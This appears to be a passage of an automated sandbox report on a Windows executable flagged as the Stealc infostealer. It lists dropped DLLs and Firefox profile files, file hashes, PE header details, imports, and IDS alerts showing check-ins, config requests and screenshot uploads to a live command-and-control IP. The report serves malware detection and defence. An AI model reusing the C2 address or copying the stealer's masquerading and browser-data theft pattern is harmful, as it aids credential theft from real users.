File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.500659620889233
TrID:	Win32 Executable (generic) a (10002005/4) 99.53% InstallShield setup (43055/19) 0.43% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe
File size:	15'184'384 bytes
MD5:	217e6aff108174a9a90022c19f8e5f8f
SHA1:	a46822575426c3fac79c55f9cf9f8adb907ec58b
SHA256:	5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717ceebaa28e2f865471e6
SHA512:	4eb0078aa1e11ed94a5b4bd6a617a8d5b89008222393346d0ef7530874784372381cd15a8ae6a73d42341633aa872593d801a1b510bd7ea8585adfa42baf2cd9
SSDEEP:	98304:z577+REoJLRAy844jhpk8dl1a7LJhMLruxYhlllFAvEw0xrk9onte:RcL5shG8haDMHuxMM
TLSH:	2BE64A41F9DB58F5E9075C31919B722F2B309D058B29CBDBEB517E29F8372D2093A206
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........B...............6f.........@.............@.................................0.....@................................

File Icon


Icon Hash:	7a687d245cdccc33

Static PE Info

General

Entrypoint:	0x479240
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	1aae8bf580c846f39c71c05898e57e88

Entrypoint Preview

Instruction
jmp 00007FCB9CE4D850h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
sub esp, 28h
mov dword ptr [esp+1Ch], ebx
mov dword ptr [esp+10h], ebp
mov dword ptr [esp+14h], esi
mov dword ptr [esp+18h], edi
mov dword ptr [esp], eax
mov dword ptr [esp+04h], ecx
call 00007FCB9CE286B6h
mov eax, dword ptr [esp+08h]
mov edi, dword ptr [esp+18h]
mov esi, dword ptr [esp+14h]
mov ebp, dword ptr [esp+10h]
mov ebx, dword ptr [esp+1Ch]
add esp, 28h
retn 0004h
ret
int3
int3
int3
int3
int3
int3
sub esp, 08h
mov ecx, dword ptr [esp+0Ch]
mov edx, dword ptr [ecx]
mov eax, esp
mov dword ptr [edx+04h], eax
sub eax, 00010000h
mov dword ptr [edx], eax
add eax, 00000BA0h
mov dword ptr [edx+08h], eax
mov dword ptr [edx+0Ch], eax
lea edi, dword ptr [ecx+34h]
mov dword ptr [edx+18h], ecx
mov dword ptr [edi], edx
mov dword ptr [esp+04h], edi
call 00007FCB9CE4FCA4h
cld
call 00007FCB9CE4ED3Eh
call 00007FCB9CE4D979h
add esp, 08h
ret
jmp 00007FCB9CE4FB50h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ebx, dword ptr [esp+04h]
mov ebp, esp
mov dword ptr fs:[00000034h], 00000000h
mov ecx, dword ptr [ebx+04h]
cmp ecx, 00000000h
je 00007FCB9CE4FB51h
mov eax, ecx
shl eax, 02h
sub esp, eax
mov edi, esp
mov esi, dword ptr [ebx+08h]
cld
rep movsd

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe5c000	0x44c	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xeb2000	0x6c03	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xe5d000	0x53fbc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xdbed20	0xb4	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x663418	0x663600	f6feb3f15c834971426e70ca1bc842ab	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x665000	0x757f10	0x758000	04e6eee30d41692b5ef3baaf8d351e00	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xdbd000	0x9f000	0x64200	c4f95f61d4f0845b45709762eec3601c	False	0.3607209737827715	data	5.721429091119689	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xe5c000	0x44c	0x600	bd3667dc3a6b1a2c98f4241ecd45f2a8	False	0.3587239583333333	OpenPGP Public Key	3.874332394538109	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0xe5d000	0x53fbc	0x54000	fc389e1871171d89a5c61820f29f35d8	False	0.5541672479538691	data	6.627781927979654	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.symtab	0xeb1000	0x4	0x200	07b5472d347d42780469fb2654b7fc54	False	0.02734375	data	0.020393135236084953	IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0xeb2000	0x6c03	0x6e00	b9765f217d27405001e708fa74e2ab84	False	0.4491832386363636	data	5.824120417813786	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xeb22b0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.42905405405405406
RT_ICON	0xeb23d8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	English	United States	0.6893063583815029
RT_ICON	0xeb2940	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.40456989247311825
RT_ICON	0xeb2c28	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.7486462093862816
RT_ICON	0xeb34d0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1536	English	United States	0.3646341463414634
RT_ICON	0xeb3b38	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688	English	United States	0.39365671641791045
RT_ICON	0xeb49e0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6054964539007093
RT_ICON	0xeb4e48	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.5105534709193246
RT_ICON	0xeb5ef0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.39481327800829874
RT_GROUP_ICON	0xeb8498	0x84	data	English	United States	0.6363636363636364
RT_VERSION	0xeb851c	0x244	data	English	United States	0.4879310344827586
RT_MANIFEST	0xeb8760	0x4a3	ASCII text, with very long lines (1187), with no line terminators	English	United States	0.46166807076663857

Imports

DLL

Import

kernel32.dll

WriteFile, WriteConsoleW, WerSetFlags, WerGetFlags, WaitForMultipleObjects, WaitForSingleObject, VirtualQuery, VirtualFree, VirtualAlloc, TlsAlloc, SwitchToThread, SuspendThread, SetWaitableTimer, SetUnhandledExceptionFilter, SetProcessPriorityBoost, SetEvent, SetErrorMode, SetConsoleCtrlHandler, ResumeThread, RaiseFailFastException, PostQueuedCompletionStatus, LoadLibraryW, LoadLibraryExW, SetThreadContext, GetThreadContext, GetSystemInfo, GetSystemDirectoryA, GetStdHandle, GetQueuedCompletionStatusEx, GetProcessAffinityMask, GetProcAddress, GetErrorMode, GetEnvironmentStringsW, GetCurrentThreadId, GetConsoleMode, FreeEnvironmentStringsW, ExitProcess, DuplicateHandle, CreateWaitableTimerExW, CreateThread, CreateIoCompletionPort, CreateEventA, CloseHandle, AddVectoredExceptionHandler

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-21T08:47:17.815806+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49732	147.45.44.221	80	TCP
2024-10-21T08:47:18.070651+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49732	147.45.44.221	80	TCP
2024-10-21T08:47:18.076775+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	147.45.44.221	80	192.168.2.4	49732	TCP
2024-10-21T08:47:18.325741+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49732	147.45.44.221	80	TCP
2024-10-21T08:47:18.332442+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	147.45.44.221	80	192.168.2.4	49732	TCP
2024-10-21T08:47:18.905321+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49732	147.45.44.221	80	TCP
2024-10-21T08:47:19.968265+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49732	147.45.44.221	80	TCP
2024-10-21T08:47:26.005541+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49732	147.45.44.221	80	TCP
2024-10-21T08:47:27.705002+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49732	147.45.44.221	80	TCP
2024-10-21T08:47:28.963477+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49732	147.45.44.221	80	TCP
2024-10-21T08:47:29.735457+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49732	147.45.44.221	80	TCP
2024-10-21T08:47:31.542241+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49732	147.45.44.221	80	TCP
2024-10-21T08:47:32.089369+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49732	147.45.44.221	80	TCP
2024-10-21T08:47:33.801751+0200	2044249	ET MALWARE Win32/Stealc Submitting Screenshot to C2	1	192.168.2.4	49732	147.45.44.221	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 21, 2024 08:47:16.684637070 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:16.689652920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:16.689723969 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:16.691220999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:16.696073055 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:17.548475981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:17.548607111 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:17.550791979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:17.555696011 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:17.814910889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:17.815805912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:17.816734076 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:17.821953058 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:18.070502043 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:18.070559025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:18.070651054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:18.071010113 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:18.071930885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:18.076775074 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:18.325493097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:18.325587034 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:18.325618982 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:18.325651884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:18.325683117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:18.325715065 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:18.325741053 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:18.325750113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:18.325937033 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:18.325937033 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:18.326266050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:18.327584028 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:18.332442045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:18.581100941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:18.582791090 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:18.634628057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:18.634769917 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:18.639538050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:18.639728069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:18.639755964 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:18.639781952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:18.639905930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:18.639933109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:18.905272961 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:18.905320883 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:19.715142012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:19.719980955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:19.968152046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:19.968246937 CEST	80	49732	147.45.44.221	192.168.2.4
